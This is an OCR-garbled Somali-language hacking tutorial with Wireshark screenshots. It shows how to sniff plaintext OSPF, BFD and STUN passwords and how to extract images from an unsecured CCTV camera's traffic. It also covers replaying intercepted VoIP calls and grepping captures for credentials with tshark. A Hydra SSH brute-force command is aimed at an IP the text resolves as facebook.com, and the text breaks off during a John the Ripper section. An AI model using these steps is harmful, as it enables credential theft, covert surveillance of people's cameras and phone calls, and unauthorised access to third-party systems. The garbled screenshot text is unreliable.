1998. Borotokoolkan waxaa caadi ahaan loo isticmaalaa shabakadaha
aad u ballaaran iyo shabakadaha laf-dhabarka ee bixiyeyaasha adeegga

kala duwan (tusaale ISP)

OSPF waxay taageertaa habab badan oo aqoonsi ah midkoodna waa
goraal cad. Xaaladda noocaas ah, weeraryahan si fiican u taagan oo
dhegeysan kara isgaarsiinta ayaa urinaya lambarka sirta OSPF ee
shabakadda adoo adeegsanaya Wireshark:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Al i@ B 1RE Q «» Jes = aaalif

INIApMyadmpmyﬁhenu<Ctﬂ4>

No. Time Source Destination Protocol Length Info

1 0.000008 10.0.0.2 224.0.0.5 OSPF 90 Hello Packet
U. 000000 o0 Uop IO (AR 1o €=

3 20.029000 10.0.0.2 224.0.0.5 OSPF 90 Hello Packet

Frame 1: 90 bytes on wire (720 bits), 90 bytes captured (720 bits)
Ethernet II, Src: c0:01:0f:78:00:00 (c0:01:0f:78:00:00), Dst: IPv4mcast_05 (01:00:5e:00:00:05)
Internet Protocol Version 4, Src: 10.0.0.2, Dst: 224.0.0.5
Open Shortest Path First
~ OSPF Header
Version: 2
Message Type: Hello Packet (1)
Packet Length: 44
Source OSPF Router: 192.168.103.1
Area ID: 0.0.0.1
Checksum: 0xb9f8 [correct]
Auth Type: Simple password (1)
Auth Data (Simple):
» OSPF Hello Packet
» OSPF LLS Data Block

{ v v~

01 00 5e 00 00 05 cO 01 Of 78 00 00 08 00 45 cO A X E-
00 4c 03 f8 00 00 01 59 ca 9a Oa 00 00 02 €O 00 I

00 05 02 01 00 2c cO a8 67 01 00 00 00 01 b9 f8 g

00 01 63 69 73 63 6f 00 00 00 ff ff ff f8 00 Oa

12 01 00 00 00 28 Ga 00 00 02 0 00 00 00 ff 6

00 03 00 01 00 04 00 00 00 01
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BFD password sida wiresharke loo gu helo

Bidirectional Forwarding Detectionl (BFD) ee lagu geexay 2010 waxaa
loo isticmaalaa in lagu bixiyo macluumaadka ogaanshaha inta
udhaxeysa laba nidaam oo isku xiran. Badanaa waxaa loo isticmaalaa
hab maamuuska marinka sida BGP ama OSPF si dhakhso leh loogu
ogaado ciladaha xiriirka. Borotokoolkan waxaa caadi ahaan loo
isticmaalaa shabakadaha aad v ballaaran iyo shabakadaha laf-dhabarka

ee bixiyeyaasha adeegga ee kala duwan (tusaale ISP).

Borotokoolka BFD wuxuu taageeraa habab badan oo agoonsi ah
midkoodna sidoo kale waa qoraal cad. Xaaladda noocaas ah,
weeraryahan si fiican u taagan oo dhegeysan kara isgaarsiinta ayaa
urinaya lambarka sirta BFD ee shabakadda Wireshark:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A = ®@ b REG QA -« = J9ws» —_| = aaq o IF
R | Apply & display filter _ <Ctrl- />
No. Time Source Destination Protocol Length Info

1 B.6080080

192.85%.1.2 192.68.0.1 BFED Cont.. /9 Diag: No Diagnostic, State: Down, Flags: Ox84

| 2 8.2000080 192.85.1.2 192.8.0.1 Diagnostic, State: Down, Flags: Ox84
| 3 0.40000¢ 9z, R 92.5.0. = 3 - Dlagnestic, State: C X E 4
4 8.680080 192.85.1.2 192.6.0.1 BFD Cont.. 79 Diag: No Diagnostic, State: Down, Flags: Ox84

| 5 9.880080 1892.85.1.2 192.8.0.1 BFD Cont.. 789 Diag: No Diagnostic, State: Down, Flags: ©x84
+ Frame 2: 79 bytes on wire (632 bits), 79 bytes captured (632 bits)

» Ethernet II, Src: Performa_©80:80:82 (00:16:94:08:60:82), Dst: Xerox 008:08:01 (00:00:901:08:08:01)

+ Internet Protocol Version 4, Src: 192.85.1.2, Dst: 182.8.0.1

+ User Datagram Protocol, Src Port: 1824, Dst Port: 3784

-~ BFD Conltrol message

©81. .... = Protocol Version: 1
...0 0880 = Diagnostic Code: No Diagnostic (©x8e)
Wise Waes = Session State: Down {(Ox1)

» Message Flags: 8x44, Authentication Present: Set
Detect Time NMultiplier: 5 (= 5088 ms Detection time)
Message Length: 33 bytes
My Discriminator: 8x800806081
Your Discriminator: 8x089008008
Desired Min TX Interval: 1800 ms (1808808 us)
Required Min RX Interval: 1008 ms (1080080 us)
Required Min Echo Interval: e ms (B8 us)

~ Authentication: Simple Password

Authentication Type: Simple Password (1)
Authentication Length: 9 bytes
Authentication Key ID: 2

Password: secret
00 00 91 00 06 ©1 08 18 94 90 00 02 08 08 45 ©8 =
80 3d 00 01 66 68 ©a 11 2f 57 ¢c@ S5 01 02 cB 68 = /WU

80 91 94 00 Oec c8 ©8 29 72 31 20 44 05 21 08 08 ) rip !
00 91 00 00 06 08 08 @f 42 40 00 Of 42 46 OB 68 B BE
80 860 91 @9 @2 73 65 63 72 65 74 c2 82 de ad
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STUN password sida wiresharke loo gu helo

Session Traversal Utilities for NAT (STUN) ee lagu geexay 2003 waa
habab loo maro fulinta NAT. Waxaa caadi ahaan loo adeegsadaa
dhawaaqyo kala duwan oo waqtiga dhabta ah, video, fariin ah iyo
nidaamyo kale oo isgaarsiineed oo isdhaxgal ah (tusaale taleefanka
VolP) Weeraryahan si fiican u taagan ayaa si fudud u dhuugqi kara furaha

ereyga 'STUN' adoo isticmaalaya Wireshark.

Waa kuwan tusaale ka mid ah xagqiijinta gabashada STUN ee la

adeegsanayo Wireshark:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AdAm @ DRB Q«»swesJFHaaak

T
M |Apply a display filter ... <Ctrl-/>

No. Time Source Destination Protocol Length Info
.034517 .110 51.72 0
7 7 .0.00. ON
131 110. 085358 10.110 51 72 18.0. 50 33 STUN 60 ChannelData TURN Message
132 110.092210 10.110.51.72 10.0.560.33 STUN 130 Binding Success Response XOR-MAPI
133 110.092224 10.116.51.72 10.6.50.33 STUN 60 ChannelData TURN Mes%age

v Frame 129: 146 bytes on wire (1168 bits), 146 bytes captured (1168 bits)
» Ethernet II, Src: Cisco_ff:fd:90 (08:08:e3:ff:fd:90), Dst: Polycom_bb:15:a7 (00:04:f2:bb:15:a7)
» Internet Protocol Version 4, Src: 10.116.51.72, Dst: 10.0.50.33
+ User Datagram Protocol, Src Port: 58621, Dst Port: 7581
~ Session Traversal Utilities for NAT
» Message Type: 6x0001 (Binding Request)
Message Length: 84
Message Cookie: 2112a442
Message Transaction ID: 757137283d34ddaGae5d2d9e
~ Attributes
» JUSERNAME: ZfwP:30Y9
» JPASSWORD: secret
» PRIORITY
» ICE-CONTROLLED
» MS-CANDIDATE-IDENTIFIER

00 84 f2 bb 15 a7 00 08 e3 ff fd 90 ©8 08 45 00 soeBE
00 84 16 d9 00 68 7a 11 b5 b9 Ga 6e 33 48 Ba 00 Z: ‘N3H- -
32 21 e4 fd 1d 9d 60 76 20 98 00 01 60 54 21 12 2! p T!.
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Sida wireshark loo gu helo sawirada CC CAMERA

In kasta oo aan marin u helnay taraafikada shabakadda oo aan ku soo
koobnay kumbuyuutarka bartilmaameedka ah, waxaa jiri kara taraafiko
kale oo aan xiriir la lahayn oo adkeynaya in xoogga la saaro waxa aan
raadineyno. Si aan uga gudubno tan, waxaan ku dari doonnaa
shaandheeye shabakad kale si aan u tusno kaliya taraafikada HTTP ee

ku qulqulaya shabakadda.

Muuqgaalka guud ee Wireshark, ku qor cinwaanka shaashadda soo
bandhigga http.

Applications ~ Places =~
*wlanOmon e ® O
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
| == ¥
o & © O X E Q@ « » J e > = = @ @ @ ¥
[ |http E3 ~| Expression.. +
No. Time Source Destination Protocol Length Channe Signal str Info =
35.. -26.983559687 192.168.6.5 23.246.14.169 HTTP 864 11 -5edBm HEAD /70=AQG241-1FLKnNxQq9QGTFfK6AsSPid4bOPp4GnYTtdvewhQhut
41. -19.793549841 192.168.6.24 192.168.0.31 HTTP 514 11 -53dBm GET /tmpfs/auto.jpg?1545643826487 HTTP/1.1
42.. -19.706340615 192.168.0.31 192.168.0.24 HTTP 1266 11 HTTP/1.1 200 OK (JPEG JFIF image)
43.. -17.738971072 192.168.0.24 192.168.0.31 HTTP 514 11 -54dBm GET /tmpfs/auto.jpg?15456438318290 HTTP/1.1
43.. -17.630975534 192.168.6.31 192.168.0.24 HTTP 1248 11 HTTP/1.1 200 0K (JPEG JFIF image)
43.. -17.598445177 192.168.6.24 192.168.6.31 HTTP 514 11 -53dBm GET /tmpfs/auto.jpg?1545643833885 HTTP/1.1

. 479006809 192. .O. . HITP/1.1 2806 OK JPEG JFIF image

44. -17.448295559 192. .©.24 192.168.6.31 HTTP 514 11 -55dBm GET /tmpfs/auto.jpg?1545643834044 HTTP/1.1

44.. -17.261647308 192.168.0.24 192.168.0.31 HTTP 514 11 -SidBm GET /tmpfs/auto.jpg?1545643834204 HTITP/1.1

44.. -17.148455666 192.168.6.31 192.168.0.24 HTTP 1259 11 -62dBm HTTP/1.1 200 OK (JPEG JFIF image)

44.. -17.108354336 192.168.0.24 192.168.0.31 HTTP 514 11 -52dBm GET /tmpfs/auto.jpg?1545643834367 HTTP/1.1

44.. -17.035917355 192.168.0.31 192.168.0.24 HTTP 1273 11 -62dBm HTTP/1.1 208 OK (JPEG JFIF image)

44.. -17.006894862 192.168.0.24 192.168.0.31 HTTP 514 11 -sidem GET /tmpfs/auto.jpg?1545643834485 HTTP/1.1

44.. -16.879160070 192.168.6.31 192.168.0.24 HTTP 1260 11 HTTP/1.1 200 OK (JPEG JFIF image)

45.. -16.851793663 192.168.0.24 192.168.0.31 HTTP 514 11 -sSidBm GET /tmpfs/auto.jpg?1545643834643 HTTP/1.1

45.. -16.746274209 192.168.06.31 192.168.06.24 HTTP 1266 11 -62dBm HTTP/1.1 200 OK (JPEG JFIF image)

45.. -16.731752214 192.168.0.24 192.168.0.31 HTTP 514 11 -53dBm GET /tmpfs/auto.jpg?1545643834766 HTTP/1.1

45.. -16.645406234 192.168.06.31 192.168.0.24 HTTP 1250 11 HTTP/1.1 206 OK (JPEG JFIF image) -

Ll >

Frame 43941: 1244 bytes on wire (9952 bits), 1244 bytes captured (9952 bits) on interface 0

Radiotap Header v©, Length 50

802.11 radio information

IEEE 802.11 QO0S Data, Flags: Op..... TC

Logical-Link control

Internet Protocol Version 4, Src: 192.168.€6.31, Dst: 102.168.0.24

Transmission Control Protocol, Src Port: 81, Dst Port: 40020, Seq: 23377, Ack: 355, Len: 1084

[22 Reassembled TCP Segments (24460 bytes): #43784(208), #43811(1448), #43813(1448), #43814(1448), #43816(1448), #43918(1448), #43028(1448), #4
Hypertext Transfer Protocol

JPEG File Interchange Format

Ll »
00 00 32 00 2b 40 18 ae 20 08 00 00 00 00 00 00 2. +@ -
€1 ea 68 2a 00 00 00 00 1© 00 9 09 80 04 cl 00 h*
00 00 27 00 01 0O 0O 0O 60 dO 01 00 OC 00 00 00 .
cCl ©0 88 cl1l 24 00 60 38 €0 35 6a 7e 00 7e 56 97 $ '8 Si~-~V¥ -

Frame (1244 bytes) Decrypted CCMP data (1144 bytes) Reassembled TCP (24460 bytes)
@ ¥ Hypertext Transfer Protocol: Protocol Packets: 415772 - Displayed: 2399 (0.6%) Profile: Default
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Tani waxay kaliya u oggolaan doontaa taraafikada HTTP in loo diro
kombiyuutarka aan kormeerka ku sameyno si loo soo bandhigo, iyadoo
la sifeynayo aragtideena xitaa intaa ka sii dheer illaa aan kaliya ka
fiirineyno taraafikada barnaamijkeenna amniga ee aan sugnayn Hadda,
waxaan u baahanahay inaan si dhab ah u geexno baakadaha la
dhexgalay sawirrada si aan u aragno waxa bartilmaameedkeennu ka

arkayo kamaradda amniga.

Hadda oo aan ka arki karno taraafikada HTTP-ka barnaamijka
shabakadda, waxaan u baahan doonnaa inaan xulanno feylalka la
duubay ee JPEG si aan ugu beddelno wax aan la shageyn karno. Jooji
gabashada, ka dibna dhagsii "Faylka," ka dibna "Waxyaabaha
Dhoofinta." Waan dhoofineynaa walxaha HTTP ee aan helnay, markaa
dhagsii "HTTP" si aad u furto liiska sheyga.

Export Specified Packets...

Export Packet Dissections Destinat
Export Packet Bytes... :a5 (.. 62:38:
Export PDUs to File... Arrisc
Export SSL Session Keys... Arris(
Export Objects

Print...

4547 ArrisGro_85:d1

4548
4540 R72:*WLQ*aN*WM*AAF
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Liistada sheyga HTTP, waxaan ku arki doonnaa liistada walxaha HTTP

ee aan ka hortagnay. Halkaan waxaan ku arki karnaa sawirrada JPEG ee

aan dooneyno inaan kalifno. Waad dooran kartaa mid ama

dhammaantood, ka dibna riix "Badbaadinta" ama "Badbaadinta

Dhammaan" oo ka xulo meel aad ugu dhoofiso faylasha.

Analyze
G |8

3
-

10128 bif

0. TC

192.168
c Port:

92 bytes

Packet
160839
160351
159893
159633
159304
158412
158079
157783
157360
156490
156386
156069
155723
155470
155156
154806
154804
154337
153428
153098
152679

Aran1n

+ Hostname

192.168.0.3...
192.168.0.3...
192.168.0.3...
192.168.0.3...
192.168.0.3...
192.168.0.3...
192.168.0.3..
192.168.0.3...
192.168.0.3...
192.168.0.3...

192.168.0.3...
192.168.0.3...
192.168.0.3...
192.168.0.3...

192.168.0.3...
192.168.0.3...
192.168.0.3...
192.168.0.3...

A0 450NN

Wireshark - Export - HTTP object list

Content Type
image/jpeg
image/jpeg
image/jpeg
image/jpeg
image/jpeg
image/jpeqg
image/jpeg
image/jpeg
image/jpeg
image/jpeg

image/jpeg
image/jpeg
image/jpeg
image/jpeg

image/jpeg
image/jpeg
image/jpeg
image/jpeg

Size

24 kB

24 kB

24 kB

24 kB

24 kB

24 kB

24 kB

24 kB

24 kB

24 kB
1,449 bytes
24 kB

24 kB

24 kB

24 kB
1,448 bytes
1,448 bytes
24 kB

24 kB

24 kB

24 kB

a4 LD

P Help

Filename

auto.jpg?1545643959870
auto.jpg?1545643959636
auto.jpg?1545643959502
auto.jpg?1545643959390
auto.jpg?1545643958984
auto.jpg?1545643958679
auto.jpg?1545643958540
auto.jpg?1545643958368
auto.jpg?1545643958192
auto.jpg?1545643957726

auto.jpg?1545643957508
auto.jpg?1545643957342
auto.jpg?1545643957192
auto.jpg?1545643956735

auto.jpg?1545643956322
auto.jpg?1545643956216
auto.jpg?1545643956091
auto.jpg?1545643955983

e MM T AL, ADAT AN

e 00

Save All ‘ % Close 0; Save

42016

Dhagsii "Close," ka dibna u gudub galka aad u dhoofisay sawirrada. Waa

inaad aragto liiska faylasha Wireshark ka dhoofisay qabashadeenna.

Tani way ka yaraan doontaa ama ka yaraan doontaa iyadoo kuxiran

mudada aad u gabatay gabashada.
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iome

Desktop

/| Intercept ~

auto. auto. auto. auto.
jpg%3f15456441205  jpg%3fl5456441207  jpg%3fl545644120 jpg%3f15456441211
61 06 975 03

auto.
jpg%3f15456441215
38

auto.
ipgY%3f15456441217
06

auto.
jpg%3f15456441220
65

aufo.
jpgY%3f15456441222
00

auto. auto. auto. auto.
jpg%3f15456441230 jpg%3f15456441232 jpg%3f15456441236 jpg%3f15456441238
62 74 78 33
» auto. auto. auto. auto.
jpg%3f15456441243 jpg%3f15456441245 jpg%3f1545644124 jpg%3f15456441251

984 88

43 08

auto.
jpg%3f15456441212

79

auto.
jpq%3f15456441223

12

auto.
ipg%3f1545644124
0

15

auto.
jpg%3f15456441256

v =

o006

auto.
jpgY%3f15456441213
89

auto.
jpg%3f15456441224
21

auto.
jpg%3f15456441241
65

28 82
F S
"auto.jpg%3f1545643838753" selected (24.3 kB)

Ugu dambeyntii, dhagsii mid ka mid ah sawirrada si aad u aragto

sawirka laga gabtay jidka loo socdo kumbuyuutarka bartiimaameedka

ah. Waa inaad ka aragtaa gaab ka kooban fiidiyowga fiidiyowga!

BIG BROTHER

2018-12-24 01:35:25
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Sida call phone ka loo gu helo ama call

qof kale logu dhagaysto wireshark

Si aad u bilawdo, ka fur baakadkaaga gabashada Wireshark:

Ede Edit Yiew Go Capture Anahyze Statistics leoo&”etmk__u_ep
Sedee EEXTE A+er»oT a2 [BE aaan a8 x B

Fiter v | Expression... Tlear Apply Save

No. Time

& Frame 137: 214 bytes on wire (1712 bits), 214 bytes captured (1712 bits) on interface O

W EThernet II, Src: Cisco_e6:a0:93 (00:04:27:e6:20:93), Dst: Cisco._ce:ec:00 (00:23:ac:ce:ec:00)
% Internet Protocol version 4, Src: 10.8.4.96 (10.8.4.96), Ost: 10.8.99.1 (10.8.99.1)

& User Datagram Protocol, Src Port: 27634 (27634), Dst Port: 17742 (A7742)

@ Data (172 bytes)

@ ¥ File "C\Users\Tom\Desktop\Crico Captire.... | Packets: 4153 Displayec 4193 Markedt Olo.. | Profile: Defoult

Transport

Both (27634—17742) port(s) as

() Do not decode

Show Current

Clear

Help
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waxaan ogaanay in xirmooyinka RTP ay awoodi waayeen inay
agoonsadaan Wireshark. Waxay ahaayeen xog UDP sida ku cad
shaashadii hore. Si aan gadaal ugu ciyaarno waxaan marka hore u
baahanay in aan aqoonsano xogta RTP. Muuji baakadka UDP ka dibna

menu-ka Wireshark guji Falangee, Decode Sida, xulo RTP, oo saxeex OK

Hadda waxaad arki doontaa isla xogta UDP loo agoonsaday taraafikada
RTP iyadoo la adeegsanayo koodhka G.711:

Liiska Wireshark hadda ka dooro Telefoon, RTP, iyo Falangaynta
Stream. Waxaad ku arki doontaa horay loo soo diray (la diray) iyo
gadaal (la helay) dhawaaqyada codka RTP halkan. Xaaladdan oo kale
waxaan ku aragnay xog durugsan oo muhiim ah laba-geesoodka labada
dhibic gabasho. Tani waxay meesha ka saartay nooc kasta oo dhibaato
MTP ah waxayna noo ogolaatay inaan xaqiijino codka la diro oo ay
helaan labada dhinac.

Foreward Direction Reversed Direction

Anabysing stream fromn 10.2.4.96 port 27634 to 10.2.99.1 pert 17742 S5RC = Mui3ADECID
Packet = Seguence Y Deltalms) 4 Filtered Jitter(ins) 4 Skoewirms) 4 IP BEW(kbps 4 Marker 4 Status
17891 0.00 000 0.00 1.60 [Ok]
17892 19.83 ouo 3.20 [ Ok]
17883 20.13 oun2 4 B0 [ Ok
17854 19.82 ouoz2 Eal [ Ok
17855 2094 Qo3 ouo3 200 [Ck]
178G 19.91 U0 o2 B0 [ Ok )
17887 20,08 0uDt 0u0a [ Ok)
17898 19,54 QuD 0.4 1Ok

|
2
3
4
>
]
-]
]

Max defta = 20.79 ms at packet no. 369

Max jitter = 0.25 ms. Mean jitter = 0L10 me.

Mlax shew = 1,285 ras.

Total RTP packets = 3024 (expected 3024) Lost RTP packets = 0 (0.00%) Sequence errors = 0
Duration 50,45 s (1 ms clock dnft, corresponding to 2000 Hz ([« 0.00%)

Save paylosd... Save 8z CSW... Befrezh Jurmp to Graph Player Mext non-0k
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Dhagsii badhanka Ciyaaryahanka oo guji Muugaalka sida sanduuga
maalinta si aad u dhageysato codka. Waxaan si caadi ah u doortaa
sanduuqgyada horay iyo gadaal labadaba ka dibna riix markale siaan u

dhagaysto labada dhinac:

-_ Cisco Capture.pcapng - VoIP - RTP Player — l:!n

| *«‘»——— - o |

20224 1 2:02:25 12:02:26 1 2:02:27 12:02:28 2 2:02:29 12:02:30 2 2:02:31

] From 10.8295.1:17742 to 10.8.4.9627634 Durationc59.64 Drop by Jtter Buff:0(0.0%6) Owut of Seq: O(0.0%6) Wrong Temestamp: 11(2.2%)

——— e e — — - —

2:23 12:02:24 1 2:02:25 1 2:02:26 12:02:27 12:02:28 12:02:29 12:02:30

] [From 10.8.4.96:27634 to 10.8.99.1:17742 Durationc60.48 Drop by Jitter Buff-0(0.0%) Out of Seq: {0.0%) Wrong Timestamp: O(0.0%)

<] View as time of day

Sitter buffer [ms] SO = Use RTP timestamp Decode Play ¥ tof Close

Isticmalka tshark , wiresharka terminalka

Tshark waxay u badan tahay inuu yahay xalka ugu fiican ee sirta
shabakadda looga soo gabto gaab otomaatig ah. In kasta oo ay soo
saari karto buuq badan, haddana Tshark ayaa ugu yaraan ay u badan
tahay inuu wax seego, maxaa yeelay wuxuu adeegsadaa isla
maktabadaha iyo dissectors sida Wireshark sameeyo. Taasi waxay ka
dhigan tahay tiro aan la giyaasi karin oo hab maamuusyo la taageeray
ah.
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Tani waa sida aan ugu urin karno ereyada sirta ah Tshark faylka PCAP.
Waxaan si fudud ugu tuuraynaa amarka dufanka oo waxaan

raadineynaa gaabab laxiriira xaqiijinta:

tshark -n -V -r file.pcap | grep -i 'authentication\|plain *text\|pass *word\|user
*name\ | simple:\|parameter name:\|parameter value:\|credentials:"

e -n(gab gabinta xallinta)

e -V (gaabka hadalka/ ballaadhi dhammaan meelaha baakadaha ku
jira)

o -r (akhrifaylka PCAP)

Waa kan tusaale isku mid ah PostgreSQL la qabtay, laakiin markan

adoo isticmaalaya Tshark:

:~# tshark -n -V -r net.pcap | grep -i 'authentication\|plain *text\|pass
*word\ |user *name\|simple:\|parameter name:\|parameter value:\|credentials:'
Parameter name: user
Parameter value: dbadmin

Parameter name: database
Parameter value: proddb
Parameter name: application name
Parameter value: psql

Parameter name: client encoding

Parameter value: UTF8

Type: Authentication request
Authentication type: Plaintext password (3)
Type: Password message

Password: P@ss123123

Type: Authentication request

Authentication type: Success (0)

Parameter name: application name

Parameter value: psql

Parameter name: client encoding
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PASSWORD AND HASH CRACKING

Password cracking ereyga ayaa ah farsamo loo isticmaalo inta badan
gaybaha jabsiga. Ka
faa'iideysiga wuxuu u
adeegsadaa inuu uga
faa'iideysto codsiyada
isagoo jabinaya
maamulkooda ama
lambarka sirta ah ee kale,
Xog uruurinta

macluumaadka wuxuu

adeegsadaa marka aan
helno warbaahinta
bulshada ama akoonnada kale ee C.E.O. ama shaqgaale kale oo ka tirsan
ururka bartilmaameedka ah, Wifi Hacking ayaa u adeegsada markay
tahay inaan kala soocno xashiishka laga soo gabtay wifi password hash

file, iwm.

Marka si aad u noqotid Ethical hacker mid waa inuu ka feejignaadaa
farsamooyinka jabinta furaha. In kasta oo ay fududahay in lagu jabsado
furayaasha adoo adeegsanaya farsamooyin mala-awaal ah, haddana
waa waqti aad u badan oo aan waxtar badan lahayn si markaa howsha

otomaatig looga dhigo, waxaan haysannaa qalab badan. Marka ay
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timaado galabka Kali Linux waa Nidaamka Howlgalka ee marka hore
istaaga, Marka halkan waxaan ku haynaa liis ay ku qoran yihiin galabka

Kali Linux oo loo isticmaali karo Password Cracking.

Hashing waa algorithm oo xisaabisa gaddar yar oo xadhig xadhig ah oo
feyl ah. Fayl asal ahaan wuxuu ka kooban yahay gaybo xog ah. Hashing
waxay xogtan u beddeleysaa giime dherer go'an oo go'an oo aad u
gaaban ama fure u metelaya xariga asalka ah. Qiimaha xashiishka
waxaa loo gaadan karaa soo koobid kooban oo ku saabsan wax kasta oo

ku jira faylkaas.

Algorithm Hashhing wanaagsan ayaa soo bandhigaya hanti la yiraahdo
saameynta qulqulatada, halkaasoo soo saarista hash ee soo baxa ay si
weyn u beddeli doonto ama gebi ahaanba xitaa marka hal xoogaa ama
xo00gaa xog ah oo ku jira faylka la beddelo. Shagada hash ee aan sidan
sameynin waxaa loo tixgeliyaa inay leedahay kala soocid liidata, taas oo

sahlanaan laheyd jabinta jabsadayaasha.

Hash waa xarig laba geesle ah oo dhowr geesood ah. Hashing sidoo
kale waa geedi socod aan toos ahayn sidaa darteed waligaa gadaal

ugama shageyn kartid si aad dib ugula soo nogoto xogtii asalka ahayd.

A algorithm hash wanaagsan waa inuu nogdaa mid iskufilan oo isku mid

ah 00 aysan soo saarin giime isku mid ah oo laga helo laba gasho oo
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kaladuwan. Hadday sidaas tahay, tan waxaa loo yagaan shil isku dhaca.
Hash algorithm waxaa loo gaadan karaa oo kaliya mid wanaagsan oo la

agbali karo haddii ay bixin karto fursad aad u yar oo isku dhac ah.
Nocyada hash ga

Waxaa jira noocyo badan oo kala duwan oo ah algorithms-ka hash sida
RipeMD, Tiger, xxhash iyo inbadan, laakiin nooca ugu badan ee hashing

loo isticnaalo hubinta sharafta faylka waa MDs5, SHA-2 iyo CRC32.

MDs5 - Shagada hash-ka ee loo yagaan 'MDg5 hash' ayaa xarriiqda
macluumaad fara badan kadibna waxay u dhigtaa sawirka faraha-128-
bit. MD5 waxaa badanaa loo isticmaalaa sidii jeeg si loo xaqiijiyo
sharafta xogta. Si kastaba ha noqotee, da'da awgeed, MD5 ayaa sidoo
kale loo yagaanaa inay ku xanuunsato nuglaanta isku dhaca shilalka,
laakiin wali waa mid ka mid ah algorithms-ka loogu isticmaalka badan

yahay adduunka.

SHA-2 - SHA-2, oo ay soo saartay hay'adda nabadsugida qaranka
(NSA), waa hawlo loo adeegsado haash. SHA-2 waxaa ka mid ah is-
beddello muhiim ah oo ka yimid kii ka horreeyay, SHA-1. Qoyska SHA-2
wuxuu ka kooban yahay lix shagooyin hash oo leh dheef-shiid kiimikaad
ah (hash values) oo kala ah 224, 256, 384 ama 512 jajab: SHA-224, SHA-
256, SHA-384, SHA-512, SHA-512/224, SHA -512/256.
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CR(C32 - Baadhitaanka wareejinta wareegga wareegga (CRC) waa koodh
lagu ogaanayo qalad inta badan loo isticmaalo ogaanshaha isbeddelada
shilalka ee xogta. Codaynta isla xariga xogta iyadoo la adeegsanayo
CRC32 waxay had iyo jeer keeni doontaa isla soo saar hash ah, sidaas
darteed CRC32 mararka gaarkood waxaa loo isticmaalaa sidii algorithm

haash loogu talagalay hubinta sharafta faylka. Maalmahan, CRC32

marar dhif ah ayaa loo isticmaalaa meel ka baxsan faylasha Zip iyo
serverka FTP.

Hydra waa jabin login oo taageera borotokollo badan si loo weeraro
(Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET,
HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HAL, HTTP-Proxy,
ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Dhegeyste,
Oracle SID, PC-Meelkasta, PC-NFS, POP3, PostgreSQL, RDP, Rexec,
Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1 + v2 + v3,
SOCKSs5, SSH (va iyo v2), SSHKEY, Subversion, Teamspeak (TS2),
Telnet, VMware-Auth, VNCiyo XMPP) .
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isticmalka Hydra

Sidaad u aragto Hydra waxay isticmaali kartaa labadaba hal iyo liistada
magacyada isticmaaleyaasha [ isgarad-furaha si loo jajabiyo iyadoo la
adeegsanayo habka gasabka ah ee caayaan. Nasiib wanaag annaga Kali
waxaa ku jira qalab fara badan oo noocyo kala duwan oo qaamuuska

ereyada sirta ah (e.x. John the Ripper).

Kahor intaadan bilaabin weerarka, raadi bartilmaameedka IP adoo

fulinaya amarka

dig <TAGRET>

Waxaa jira siyaabo fara badan oo lagu helo IP-ga la xiriira degel:
xaaladdan waxaan u adeegsanay qodis, A utility utility utility oo
ujeeddadiisu tahay oo keliya in lagu muujiyo jawaabaha uu soo celiyey
magaca qoraha bartilmaameedka la weyddiiyay ee Qaybta Jawaabta.

dig facebook.com; <<>> DiG 9.11.3-1lubuntul.5-Ubuntu <<>>
facebook.com

;7 global options: +cmd

;; Got answer:

;; —>>HEADER<<- opcode: QUERY, status: NOERROR, id: 2224
;; flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: O,
ADDITIONAL: 1;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 65494

;; QUESTION SECTION:

; facebook.com. IN A;; ANSWER SECTION:
facebook.com. 198 IN A 157.240.25.35;; Query time: 67
msec

;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Wed Apr 03 17:57:12 IST 2019;; MSG SIZE rcvd: 57
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Hadda waa wagqtigii lagu bilaabi lahaa weerarka adoo fulinaya amarka

hydra -1 root -P /usr/share/john/password.lst 157.240.25.35 -t 6
ssh

Tusaalahan waxaan ku weerarayaa mashiinka ay qeexeen IP

157.240.25.35 anigoo isticmaalaya xulashooyinka soo socda:

* -l wuxuu gaataa hal giime oo wuxuu geexayaa isticmaalaha

* -Pwuxuu qaadayaa wadiiqo feylalka oo ay kujiraan liis sir ah

* -twuxuu cadeynayaa tirada dunta la isticmmaalay intii uu socday
weerarka

Hadda sug inta weerarku dhammaanayo oo haddii aad nasiib yeelan

doonto waxaad heli doontaa magacaaga iyo isgarad-ereygaaga.

Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal
purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2019-11-13
07:53:33

[DATA] 6 tasks, 1 server, 1003 login tries (1:1/p:1003), ~167
tries per task

[3306] [mysgl] host: 157.240.25.35 login: <USERNAME> password:
<PASSWORD>

[STATUS] attack finished for localhost (waiting for children to
complete tests)

1 of 1 target successfully completed, 1 valid password foundHydra
(http://www.thc.org/thc-hydra) finished at 2019-11-13 19:45:02
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John The Ripper

John the Ripper waa aalad furan oo furaha amniga sirta ah iyo galab soo
kabashada ereyga oo loo heli karo nidaamyo badan oo hawlgal ah. John
the Ripper jumbo wuxuu taageeraa boqolaal haash iyo noocyo cipher
ah, oo ay ku jiraan: lambarka sirta ah ee isticmaaleyaasha dhadhanka
Unix (Linux, * BSD, Solaris, AIX, QNX, iwm), macOS, Windows,
"barnaamijyada websaydhka" (tusaale, WordPress), koox-kooxeed
(tusaale, Qoraallo / Domino), iyo keyd-bixiyeyaasha keydka
macluumaadka (SQL, LDAP, iwm); gabashada taraafikada shabakadda
(Agoonsiga shabakadda Windows, WiFi WPA-PSK, iwm.); furayaasha
gaarka loo leeyahay oo garsoodi ah (SSH, GnuPG, boorsooyinka loo
yagaan 'cryptocurrency’, iwm), faylasha faylalka iyo saxannada
(faylasha macOS .dmg iyo "xirmooyinka yar yar", Windows BitLocker,
iwm.), Arkiifiyada (ZIP, RAR, 7z), iyo faylasha dukumiintiga (PDF,
Microsoft Office's, iwm.)

Isticmalka john the riper

John the Ripper qaababkiisa aasaasiga ah ee lagu jabsado ereyada sirta
